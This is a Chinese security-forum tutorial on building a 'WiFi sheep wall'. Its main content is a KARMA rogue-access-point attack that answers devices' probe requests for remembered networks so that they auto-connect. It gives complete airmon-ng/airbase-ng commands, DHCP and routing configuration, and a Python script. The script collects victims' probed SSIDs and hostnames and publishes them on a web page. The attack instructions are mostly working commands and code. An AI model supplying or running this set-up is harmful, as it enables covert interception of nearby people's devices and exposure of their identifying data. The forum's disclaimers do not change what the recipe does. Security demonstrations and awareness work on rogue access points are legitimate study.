搜索
查看: 2516|回复: 0

WIFI绵羊墙搭建

[复制链接]

598

主题

876

帖子

2235

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2235

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-7-22 09:53:01 | 显示全部楼层 |阅读模式

#0x1 内容简介
本片文章是利用karma攻击搭建一个WiFi绵羊墙,将自动链接上来的用户的主机名和被动广播出去的ssid的名称展示在屏幕上,我们先了解一下karma攻击的原理
Karma是一种通过伪造虚假响应包(Probe Response)来回应STA(Wireless station,手机、平板等客户端等)探测(Probe Request)的攻击方式,让客户端误认为范围内存在曾经连接过的WiFi热点,从而骗取客户端的连接。

简单的理解就是,你的设备会保存你链接过的wifi的记录,例如你链接过 sectoolkit-wifi 这个ssid,当你打开wifi的时候,你的设备会自动广播附近有没有 sectoolkit-wifi ,一般情况下只有叫这个ssid的路由器才应答,karma就是将所有寻味是否是xxxwifi的请求全部应答,告诉用户我就是xxxwifi,然后用户 就会自动链接上去。

#0x2 准备过程
我们需要以下的东西:

1. 一块无线网卡,8187最佳
2. 一个Linux系统,(如:kali)
需要用到的软件

1. isc-dhcp-server
2. aircrack-ng
3. dnschef
4. ethtool
在kali下dnschef与aircrack-ng是自带的,其他的都可以通过apt-get进行安装

apt-get install ethtool isc-dhcp-server

apt-get install ethtool isc-dhcp-server

开启karma的方法很简单,只需要执行
airmon-ng check kill
airmon-ng start wlan0
airbase-ng -P -C 30 -v mon0


运行之后你就可以看到有很多ssid的探测请求会发送过来

但是这些客户端会链接不上我们的wifi,因为他们链接的时候会要求从dhcp服务器获取ip,但是我们没有dhcp服务器,所以我们需要配置一个dhcp服务器,
首先开启了karma之后 airbase会创建一个叫at0的网卡来和客户端的机器通信,我们需要先给at0分配好ip

ifconfig at0 up
ifconfig at0 192.168.188.1 netmask 255.255.255.0
route add -net 192.168.188.0 netmask 255.255.255.0 gw 192.168.199.1

然后编辑/etc/dhcp/dhcpd.conf 文件,在末尾加上
subnet 192.168.188.0 netmask 255.255.255.0
{
range 192.168.3.2 192.168.188.250;
option domain-name-servers 192.168.188.1;
option routers 192.168.188.1;
}


然后在编辑/etc/default/isc-dhcp-server文件,修改

INTERFACES=””
”
成
INTERFACES=”at0″

#0x3 绵羊墙的搭建
既然是绵羊墙那一定需要一个展示的过程
那么我们就需要得到如下内容:

1. airbase得到的ssid的名称
2. 已经链接上的客户主机名
airbase的结果通过nohup命令把输出内容重定向到一个文件即可,客户端的主机名可以通过查看/var/lib/dhcp/dhcpd.leases 得知
通过以上内容我们可以先执行

echo 1 > /proc/sys/net/ipv4/ip_forward
airmon-ng check kill
airmon-ng start wlan0
nohup airbase-ng -P -C 30 -v mon0 &
ifconfig at0 up
ifconfig at0 192.168.188.1 netmask 255.255.255.0
route add -net 192.168.188.0 netmask 255.255.255.0 gw 192.168.188.1


然后写一个简单的脚本
进行获取输出的内容,脚本大意是读取airbase获取到的ssid和已经链接上的客户主机名

然后写入到俩个json文件,并使用SimpleHTTPServer开放一个http端口用来访问展示内容的html,我这边还写了一个webUI作为内容的展示
import SimpleHTTPServer
import SocketServer
import threading
import os
import json
from time import sleep
class back(threading.Thread):
        def __init__(self):
                threading.Thread.__init__(self)
        def cmd(self,c):
                c=os.popen(c).read()
                return c
        def run(self):
                while True:
                        cmd=self.cmd("cat ../nohup.out |grep -|awk -F 'from ' '{print$2}'|sort |uniq ").replace('"','').split('\n')
                        nohup=''
                        self.cmd("echo > ../nohup.out  ")
                        x=0
                        for i in cmd:
                                j='  "%d":"%s",' %(x,i)                                
                                nohup+= j
                                x+=1
                                
                        nohup='{%s}'%nohup[:len(nohup)-1]
                        cmd_h=self.cmd("cat /var/lib/dhcp/dhcpd.leases|grep host|awk '{print$2}' ").replace('"','').split('\n')
                        x=0
                        dhcp=''
                        for i in cmd_h:
                                j='  "%d":"%s",' %(x,i)                                
                                dhcp+= j
                                x+=1
                        dhcp='{%s}'%dhcp[:len(dhcp)-1]
                        open('d.json','w').write(dhcp)
                        open('o.json','w').write(nohup)
                        print dhcp,nohup
                        print "reading .."
                        sleep(5)
back().start()

PORT = 8009
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)

print "serving at port", PORT
httpd.serve_forever()




本文所有源码都在
https://github.com/code-scan/wifisheep

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
朕知道了
快速回复 返回顶部 返回列表